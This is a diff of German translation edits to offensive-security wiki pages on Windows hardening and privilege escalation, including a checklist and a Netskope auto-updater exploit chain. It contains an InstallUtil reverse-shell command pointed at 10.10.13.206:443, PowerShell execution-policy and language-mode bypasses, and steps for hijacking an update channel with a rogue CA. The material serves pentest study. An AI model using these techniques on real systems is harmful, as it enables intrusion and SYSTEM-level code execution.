+- LDAP-Abfragen von `msDS-ManagedPassword` erfordern Sealing (z. B. LDAPS/sign+seal). Tools erledigen das automatisch.
+- gMSAs erhalten häufig lokale Rechte wie WinRM; überprüfe die Gruppenmitgliedschaft (z. B. Remote Management Users), um lateral movement zu planen.
+- Wenn du nur den Blob benötigst, um den NTLM selbst zu berechnen, siehe MSDS-MANAGEDPASSWORD_BLOB structure.



 ## LAPS

-Die **Local Administrator Password Solution (LAPS)**, zum Download verfügbar bei [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), ermöglicht die Verwaltung von lokalen Administratorpasswörtern. Diese Passwörter, die **zufällig generiert**, einzigartig und **regelmäßig geändert** werden, werden zentral im Active Directory gespeichert. Der Zugriff auf diese Passwörter wird per ACLs auf autorisierte Benutzer beschränkt. Mit ausreichenden Berechtigungen ist es möglich, lokale Admin-Passwörter auszulesen.
+Die **Local Administrator Password Solution (LAPS)**, verfügbar zum Download bei [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), ermöglicht die Verwaltung lokaler Administrator-Passwörter. Diese Passwörter sind **zufällig generiert**, einzigartig und **regelmäßig geändert** und werden zentral in Active Directory gespeichert. Der Zugriff auf diese Passwörter wird über ACLs auf autorisierte Benutzer beschränkt. Sind entsprechende Berechtigungen vergeben, ist das Auslesen lokaler Admin-Passwörter möglich.


 {{#ref}}
@ -207,7 +207,7 @@ Die **Local Administrator Password Solution (LAPS)**, zum Download verfügbar be

 ## PS Constrained Language Mode

-PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **schränkt viele der Funktionen ein**, die nötig sind, um PowerShell effektiv zu nutzen, wie zum Beispiel das Blockieren von COM-Objekten, das Zulassen nur genehmigter .NET-Typen, XAML-basierter Workflows, PowerShell-Klassen und mehr.
+PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **schränkt viele der Funktionen ein**, die für die effektive Nutzung von PowerShell erforderlich sind, z. B. das Blockieren von COM-Objekten, das Zulassen nur genehmigter .NET-Typen, XAML-basierte Workflows, PowerShell-Klassen und mehr.

 ### **Überprüfen**
 ```bash
@ -219,10 +219,10 @@ $ExecutionContext.SessionState.LanguageMode
 #Easy bypass
 Powershell -version 2
 ```
-Unter aktuellen Windows funktioniert dieser Bypass nicht, aber du kannst [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
-**Zum Kompilieren musst du möglicherweise** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> füge `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` hinzu und **ändere das Projekt auf .Net4.5**.
+In aktuellen Windows funktioniert dieser Bypass nicht, aber du kannst [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) verwenden.\
+**Zum Kompilieren musst du möglicherweise** _**eine Referenz hinzufügen**_ -> _Durchsuchen_ -> _Durchsuchen_ -> füge `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` hinzu und **ändere das Projekt auf .Net4.5**.

-#### Direkter Bypass:
+#### Direct bypass:
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
 ```
@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
 ```
-Du kannst [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell-Code** in jedem Prozess auszuführen und den constrained mode zu umgehen. Für mehr Infos siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
+Sie können [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell-Code auszuführen** in jedem Prozess und den constrained mode zu umgehen. Für mehr Infos siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).

-## PS-Ausführungsrichtlinie
+## PS Ausführungsrichtlinie

-Standardmäßig ist sie auf **restricted.** Hauptwege, diese Richtlinie zu umgehen:
+Standardmäßig ist sie auf **restricted** gesetzt. Hauptwege, diese Richtlinie zu umgehen:
 ```bash
 1º Just copy and paste inside the interactive PS console
 2º Read en Exec
@ -254,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 9º Use EncodeCommand
 $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
 ```
-Mehr Informationen finden Sie [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
+Mehr dazu [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)

 ## Security Support Provider Interface (SSPI)

 Ist die API, die zur Authentifizierung von Benutzern verwendet werden kann.

-Das SSPI ist dafür zuständig, das geeignete Protokoll für zwei Maschinen zu finden, die miteinander kommunizieren wollen. Die bevorzugte Methode dafür ist Kerberos. Anschließend verhandelt das SSPI, welches Authentifizierungsprotokoll verwendet wird. Diese Authentifizierungsprotokolle werden Security Support Provider (SSP) genannt, liegen auf jedem Windows-System in Form einer DLL vor und beide Maschinen müssen dasselbe unterstützen, um miteinander kommunizieren zu können.
+Die SSPI ist dafür zuständig, das geeignete Protokoll für zwei Maschinen zu finden, die kommunizieren wollen. Die bevorzugte Methode dafür ist Kerberos. Anschließend verhandelt die SSPI, welches Authentifizierungsprotokoll verwendet wird. Diese Authentifizierungsprotokolle heißen Security Support Provider (SSP), befinden sich auf jedem Windows-Rechner in Form einer DLL und beide Maschinen müssen dasselbe unterstützen, um kommunizieren zu können.

-### Main SSPs
+### Haupt-SSPs

- **Kerberos**: Die bevorzugte
+- **Kerberos**: Bevorzugt
 - %windir%\Windows\System32\kerberos.dll
 - **NTLMv1** and **NTLMv2**: Aus Kompatibilitätsgründen
 - %windir%\Windows\System32\msv1_0.dll
- **Digest**: Web servers und LDAP, Passwort in Form eines MD5-Hashes
+- **Digest**: Webserver und LDAP, Passwort in Form eines MD5-Hashes
 - %windir%\Windows\System32\Wdigest.dll
 - **Schannel**: SSL und TLS
 - %windir%\Windows\System32\Schannel.dll
- **Negotiate**: Wird verwendet, um das zu verwendende Protokoll auszuhandeln (Kerberos oder NTLM, wobei Kerberos die Standardwahl ist)
+- **Negotiate**: Wird verwendet, um das zu verwendende Protokoll zu verhandeln (Kerberos oder NTLM; Kerberos ist die Standardeinstellung)
 - %windir%\Windows\System32\lsasrv.dll

-#### The negotiation could offer several methods or only one.
+#### Die Aushandlung kann mehrere Methoden oder nur eine anbieten.

 ## UAC - User Account Control

-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für Aktionen mit erhöhten Rechten** bereitstellt.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsabfrage für erhöhte Aktivitäten** ermöglicht.


 {{#ref}}
--- a/src/windows-hardening/checklist-windows-privilege-escalation.md
+++ b/src/windows-hardening/checklist-windows-privilege-escalation.md
@ -2,17 +2,17 @@

 {{#include ../banners/hacktricks-training.md}}

-### **Bestes Tool, um Windows local privilege escalation vectors zu finden:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+### **Bestes Tool, um Windows local privilege escalation Vektoren zu finden:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)

-### [System Info](windows-local-privilege-escalation/index.html#system-info)
+### [System-Info](windows-local-privilege-escalation/index.html#system-info)

 - [ ] Beschaffe [**System information**](windows-local-privilege-escalation/index.html#system-info)
 - [ ] Suche nach **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Verwende Google, um nach kernel exploits zu suchen
- [ ] Verwende searchsploit, um nach kernel exploits zu suchen
- [ ] Interessante Infos in [**env vars**](windows-local-privilege-escalation/index.html#environment)?
+- [ ] Benutze **Google**, um nach kernel **exploits** zu suchen
+- [ ] Benutze **searchsploit**, um nach kernel **exploits** zu suchen
+- [ ] Interessante Informationen in [**env vars**](windows-local-privilege-escalation/index.html#environment)?
 - [ ] Passwörter in [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
- [ ] Interessante Infos in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
+- [ ] Interessante Informationen in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
 - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
 - [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
 - [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
@ -20,67 +20,67 @@

 ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)

- [ ] Prüfe [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)und [**WEF** ](windows-local-privilege-escalation/index.html#wef)-Einstellungen
- [ ] Prüfe [**LAPS**](windows-local-privilege-escalation/index.html#laps)
+- [ ] Überprüfe [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)und [**WEF** ](windows-local-privilege-escalation/index.html#wef)Einstellungen
+- [ ] Überprüfe [**LAPS**](windows-local-privilege-escalation/index.html#laps)
 - [ ] Prüfe, ob [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)aktiv ist
 - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
 - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
 - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] Prüfe, ob irgendeine [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) vorhanden ist
+- [ ] Prüfe, ob irgendein [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) vorhanden ist
 - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
 - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
 - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Prüfe die **aktuellen** Benutzer**privilegien**(windows-local-privilege-escalation/index.html#users-and-groups)
+- [ ] Überprüfe die **Privilegien** des aktuellen Users (current user **privileges**)(windows-local-privilege-escalation/index.html#users-and-groups)
 - [ ] Bist du [**Mitglied einer privilegierten Gruppe**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] Prüfe, ob du eines dieser Tokens aktiviert hast: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
+- [ ] Prüfe, ob du eines dieser Token aktiviert hast: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
 - [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] Prüfe [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (Zugriff?)
+- [ ] Überprüfe [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (Zugriff?)
 - [ ] Prüfe die [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
 - [ ] Was ist [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?

 ### [Network](windows-local-privilege-escalation/index.html#network)

- [ ] Prüfe die **aktuellen** [**Network** **information**](windows-local-privilege-escalation/index.html#network)
- [ ] Prüfe **versteckte lokale Dienste**, die nach außen beschränkt sind
+- [ ] Überprüfe die aktuellen [**network information**](windows-local-privilege-escalation/index.html#network)
+- [ ] Prüfe versteckte lokale Services, die von außen eingeschränkt sind

 ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)

- [ ] Zugriffsrechte auf Prozess-Binaries: [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
+- [ ] Dateisystem- und Ordnerberechtigungen von Prozess-Binaries [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
 - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
 - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] Credentials stehlen mit **interessanten Prozessen** via `ProcDump.exe` ? (firefox, chrome, usw.)
+- [ ] Stehle Credentials mit **interessanten Prozessen** via `ProcDump.exe` ? (firefox, chrome, etc ...)

 ### [Services](windows-local-privilege-escalation/index.html#services)

- [ ] Kannst du einen Dienst **modifizieren**? (Can you **modify any service**?)
- [ ] Kannst du die **binary**, die von einem Dienst **ausgeführt** wird, **ändern**? (Can you **modify** the **binary** that is **executed** by any **service**?)
- [ ] Kannst du die **Registry** eines Dienstes **ändern**? (Can you **modify** the **registry** of any **service**?)
- [ ] Kannst du von einem **unquoted service** binary **path** profitieren? (Can you take advantage of any **unquoted service** binary **path**?)
+- [ ] Kannst du **einen Service modifizieren**? (Can you **modify any service**?)
+- [ ] Kannst du die **Binary ändern**, die von einem **Service ausgeführt** wird? (Can you **modify** the **binary** that is **executed** by any **service**?)
+- [ ] Kannst du die **Registry** eines **Services** ändern? (Can you **modify** the **registry** of any **service**?)
+- [ ] Kannst du eine unquoted service binary **path** ausnutzen? (Can you take advantage of any **unquoted service** binary **path**?)

 ### [**Applications**](windows-local-privilege-escalation/index.html#applications)

- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
+- [ ] **Write**-Berechtigungen auf installierte Anwendungen? ([**Write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions))
 - [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
 - [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)

 ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)

- [ ] Kannst du in irgendeinen Ordner innerhalb von PATH **schreiben**?
- [ ] Gibt es einen bekannten Service-Binary, der versucht, eine nicht-existente DLL zu laden?
- [ ] Kannst du in einen **Binaries-Ordner** **schreiben**?
+- [ ] Kannst du in einen Ordner innerhalb von PATH schreiben?
+- [ ] Gibt es einen bekannten Service-Binary, der versucht, eine nicht existierende DLL zu laden?
+- [ ] Kannst du in einen Ordner mit Binaries schreiben?

 ### [Network](windows-local-privilege-escalation/index.html#network)

- [ ] Netzwerk enumerieren (Shares, Interfaces, Routes, Neighbours, ...)
- [ ] Achte besonders auf Netzwerkdienste, die auf localhost (127.0.0.1) lauschen
+- [ ] Enumeriere das Netzwerk (shares, interfaces, routes, neighbours, ...)
+- [ ] Schau besonders auf Netzwerkdienste, die auf localhost (127.0.0.1) lauschen

 ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)

 - [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) Credentials, die du verwenden könntest?
+- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials, die du verwenden könntest?
 - [ ] Interessante [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] Passwörter von gespeicherten [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
- [ ] Interessante Infos in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
+- [ ] Passwörter gespeicherter [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
+- [ ] Interessante Informationen in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
 - [ ] Passwörter in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
 - [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) Passwörter?
 - [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
@ -88,25 +88,25 @@

 ### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)

- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
+- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **und** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
 - [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
 - [ ] Passwörter in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
- [ ] Irgendein [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) Backup?
+- [ ] Gibt es ein [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) Backup?
 - [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
 - [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) Datei?
 - [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
 - [ ] Passwort in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
- [ ] Interessante Infos in [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
- [ ] Willst du den Benutzer nach [**credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) fragen?
+- [ ] Interessante Informationen in [**web logs**](windows-local-privilege-escalation/index.html#logs)?
+- [ ] Möchtest du den User nach [**Credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) fragen?
 - [ ] Interessante [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] Andere [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] In [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
+- [ ] Andere [**registry Einträge, die Credentials enthalten**](windows-local-privilege-escalation/index.html#inside-the-registry)?
+- [ ] Im [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
 - [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in Dateien und Registry
 - [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) zum automatischen Suchen nach Passwörtern

 ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)

- [ ] Hast du Zugriff auf irgendeinen Handler eines Prozesses, der von einem Administrator ausgeführt wird?
+- [ ] Hast du Zugriff auf einen Handler eines als Administrator ausgeführten Prozesses?

 ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)

--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
--- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
@ -1,28 +1,28 @@
-# Missbrauch von Enterprise Auto‑Updaters und privilegierter IPC (z. B. Netskope stAgentSvc)
+# Missbrauch von Enterprise-Auto-Updaters und privilegiertem IPC (z. B. Netskope stAgentSvc)

 {{#include ../../banners/hacktricks-training.md}}

-Diese Seite verallgemeinert eine Klasse von Windows Local Privilege Escalation‑Ketten, die in Enterprise‑Endpoint‑Agenten und Updatern vorkommen und eine niedrigschwellige IPC‑Schnittstelle sowie einen privilegierten Update‑Flow bereitstellen. Ein repräsentatives Beispiel ist Netskope Client für Windows < R129 (CVE-2025-0309), bei dem ein niedrig privilegierter Benutzer eine Enrollment auf einen Angreifer‑kontrollierten Server erzwingen und anschließend ein bösartiges MSI liefern kann, das vom SYSTEM‑Dienst installiert wird.
+Diese Seite verallgemeinert eine Klasse von Windows Local Privilege Escalation-Ketten, die in Enterprise‑Endpoint‑Agents und Updaters gefunden werden und eine niedrigschwellige IPC‑Schnittstelle sowie einen privilegierten Update‑Flow bereitstellen. Ein repräsentatives Beispiel ist Netskope Client for Windows < R129 (CVE-2025-0309), bei dem ein niedrig privilegierter Benutzer eine Registrierung zu einem vom Angreifer kontrollierten Server erzwingen und anschließend ein bösartiges MSI ausliefern kann, das der SYSTEM‑Dienst installiert.

-Kernideen, die sich gegen ähnliche Produkte wiederverwenden lassen:
- Missbrauche die localhost‑IPC eines privilegierten Dienstes, um eine erneute Enrollment oder Neukonfiguration auf einen Angreifer‑Server zu erzwingen.
- Implementiere die Update‑Endpoints des Vendors, liefere ein rogue Trusted Root CA und weise den Updater auf ein bösartiges, „signed“ Paket.
+Wesentliche Ideen, die Sie gegen ähnliche Produkte wiederverwenden können:
+- Missbrauche die localhost‑IPC eines privilegierten Dienstes, um eine Re‑Enrollment oder Neukonfiguration zu einem Angreifer‑Server zu erzwingen.
+- Implementiere die Update‑Endpoints des Vendors, liefere ein bösartiges Trusted Root CA und weise den Updater auf ein bösartiges, „signiertes“ Paket.
 - Umgehe schwache Signer‑Checks (CN allow‑lists), optionale Digest‑Flags und lax konfigurierte MSI‑Eigenschaften.
- Wenn IPC „encrypted“ ist, leite Key/IV aus weltweit lesbaren Maschinen‑Identifikatoren ab, die in der Registry gespeichert sind.
- Wenn der Dienst Anrufer nach Image‑Pfad/Prozessname einschränkt, injiziere in einen allow‑listed Prozess oder spawn einen Prozess suspended und bootstrappe deine DLL via eines minimalen thread‑context patches.
+- Falls IPC „verschlüsselt“ ist, leite den key/IV aus für alle lesbaren Maschinenidentifikatoren ab, die in der Registry gespeichert sind.
+- Falls der Service Anrufer nach image path/process name einschränkt, injiziere in einen allow‑listed Prozess oder starte einen Prozess im suspended‑Zustand und bootstrappe deine DLL via einen minimalen thread‑context patch.

 ---
-## 1) Erzwingen der Enrollment zu einem Angreifer‑Server über localhost‑IPC
+## 1) Erzwingen der Enrollment zu einem Angreifer‑Server über localhost IPC

-Viele Agenten liefern einen User‑Mode UI‑Prozess, der über localhost TCP mittels JSON mit einem SYSTEM‑Dienst kommuniziert.
+Viele Agenten enthalten einen User‑Mode UI‑Prozess, der über localhost TCP mit einem SYSTEM‑Dienst mittels JSON kommuniziert.

 Beobachtet in Netskope:
- UI: stAgentUI (niedrige Integrität) ↔ Service: stAgentSvc (SYSTEM)
+- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
 - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN

 Exploit‑Ablauf:
-1) Erzeuge ein JWT Enrollment‑Token, dessen Claims den Backend‑Host steuern (z. B. AddonUrl). Verwende alg=None, sodass keine Signatur erforderlich ist.
-2) Sende die IPC‑Nachricht, die den Provisioning‑Befehl mit deinem JWT und dem Tenant‑Namen auslöst:
+1) Erstelle ein JWT‑Enrollment‑Token, dessen Claims den Backend‑Host steuern (z. B. AddonUrl). Verwende alg=None, sodass keine Signatur erforderlich ist.
+2) Sende die IPC‑Nachricht, die den Provisioning‑Befehl mit deinem JWT und Tenant‑Namen aufruft:
 ```json
 {
 "148": {
@ -31,88 +31,88 @@ Exploit‑Ablauf:
 }
 }
 ```
-3) Der Dienst beginnt, deinen rogue server wegen enrollment/config anzusprechen, z. B.:
+3) Der Service beginnt, deinen rogue server für enrollment/config anzusprechen, z. B.:
 - /v1/externalhost?service=enrollment
 - /config/user/getbrandingbyemail

 Hinweise:
- Wenn die Caller‑Verifizierung pfad-/namenbasiert ist, lasse die Anfrage von einem auf der Allow‑List stehenden Vendor‑Binary ausgehen (siehe §4).
+- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4).

 ---
 ## 2) Hijacking the update channel to run code as SYSTEM

-Sobald der Client mit deinem Server kommuniziert, implementiere die erwarteten Endpunkte und leite ihn zu einem attacker MSI. Typische Abfolge:
+Sobald der client mit deinem server spricht, implementiere die erwarteten endpoints und lenke ihn auf ein attacker MSI. Typische Sequenz:

-1) /v2/config/org/clientconfig → Gib eine JSON‑Konfiguration zurück mit einem sehr kurzen Updater‑Intervall, z. B.:
+1) /v2/config/org/clientconfig → Gib eine JSON config mit einem sehr kurzen updater interval zurück, z. B.:
 ```json
 {
 "clientUpdate": { "updateIntervalInMin": 1 },
 "check_msi_digest": false
 }
 ```
-2) /config/ca/cert → Return a PEM CA certificate. Der Dienst installiert es in den Local Machine Trusted Root store.
-3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
+2) /config/ca/cert → Gibt ein PEM-CA-Zertifikat zurück. Der Dienst installiert es im Local Machine Trusted Root store.
+3) /v2/checkupdate → Liefert Metadaten, die auf ein bösartiges MSI und eine gefälschte Version verweisen.

 Bypassing common checks seen in the wild:
- Signer CN allow‑list: der Dienst prüft möglicherweise nur, ob das Subject CN gleich “netSkope Inc” oder “Netskope, Inc.” ist. Deine rogue CA kann ein Leaf mit diesem CN ausstellen und das MSI signieren.
- CERT_DIGEST property: füge eine harmlose MSI‑Eigenschaft mit dem Namen CERT_DIGEST ein. Wird bei der Installation nicht durchgesetzt.
+- Signer CN allow‑list: der Dienst prüft möglicherweise nur, ob der Subject CN gleich „netSkope Inc“ oder „Netskope, Inc.“ ist. Deine Rogue-CA kann ein Leaf mit diesem CN ausstellen und das MSI signieren.
+- CERT_DIGEST property: Füge eine harmlose MSI‑Property namens CERT_DIGEST hinzu. Keine Durchsetzung beim Install.
 - Optional digest enforcement: ein Config‑Flag (z. B. check_msi_digest=false) deaktiviert zusätzliche kryptografische Validierung.

-Result: Der SYSTEM‑Dienst installiert dein MSI von
+Result: der SYSTEM‑Dienst installiert dein MSI aus
 C:\ProgramData\Netskope\stAgent\data\*.msi
 und führt beliebigen Code als NT AUTHORITY\SYSTEM aus.

 ---
 ## 3) Forging encrypted IPC requests (when present)

-Ab R127 verpackte Netskope IPC‑JSON in ein encryptData‑Feld, das wie Base64 aussieht. Reverse‑Engineering zeigte AES mit Key/IV, die aus registry‑Werten abgeleitet werden, die von jedem Benutzer lesbar sind:
+Ab R127 hat Netskope IPC‑JSON in ein encryptData‑Feld verpackt, das wie Base64 aussieht. Reverse‑Engineering zeigte AES mit Key/IV, die aus Registry‑Werten abgeleitet werden, die von jedem Benutzer gelesen werden können:
 - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
 - IV  = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID

-Angreifer können die Verschlüsselung reproduzieren und gültige verschlüsselte Befehle von einem Standard‑Benutzer senden. Genereller Tipp: wenn ein Agent plötzlich seine IPC „verschlüsselt“, suche nach device IDs, product GUIDs, install IDs unter HKLM als Material.
+Angreifer können die Verschlüsselung reproduzieren und gültige verschlüsselte Befehle von einem Standardbenutzer senden. Allgemeiner Tipp: wenn ein Agent plötzlich seine IPC „verschlüsselt“, suche nach device IDs, product GUIDs, install IDs unter HKLM als Material.

 ---
 ## 4) Bypassing IPC caller allow‑lists (path/name checks)

-Einige Dienste versuchen, den Peer zu authentifizieren, indem sie die PID der TCP‑Verbindung auflösen und den Image‑Pfad/-Namen mit allow‑gelisteten Vendor‑Binaries unter Program Files vergleichen (z. B. stagentui.exe, bwansvc.exe, epdlp.exe).
+Einige Dienste versuchen, den Peer zu authentifizieren, indem sie die PID der TCP‑Verbindung auflösen und den Image‑Path/Name gegen allow‑gelistete Vendor‑Binaries unter Program Files vergleichen (z. B. stagentui.exe, bwansvc.exe, epdlp.exe).

-Zwei praktische Umgehungen:
- DLL‑Injection in einen allow‑gelisteten Prozess (z. B. nsdiag.exe) und Proxying der IPC von innen heraus.
- Einen allow‑gelisteten Binary suspended starten und dein Proxy‑DLL bootstrappen ohne CreateRemoteThread (siehe §5), um driver‑durchgesetzte Tamper‑Regeln zu erfüllen.
+Zwei praktische Bypässe:
+- DLL‑Injection in einen allow‑gelisteten Prozess (z. B. nsdiag.exe) und Proxy‑IPC von innen heraus.
+- Starte ein allow‑gelistetes Binary im Suspended‑Zustand und bootstrappe deine Proxy‑DLL ohne CreateRemoteThread (siehe §5), um driver‑enforced Tamper‑Regeln zu erfüllen.

 ---
 ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch

-Produkte liefern oft einen minifilter/OB callbacks Driver (z. B. Stadrv), der gefährliche Rechte von Handles zu geschützten Prozessen entfernt:
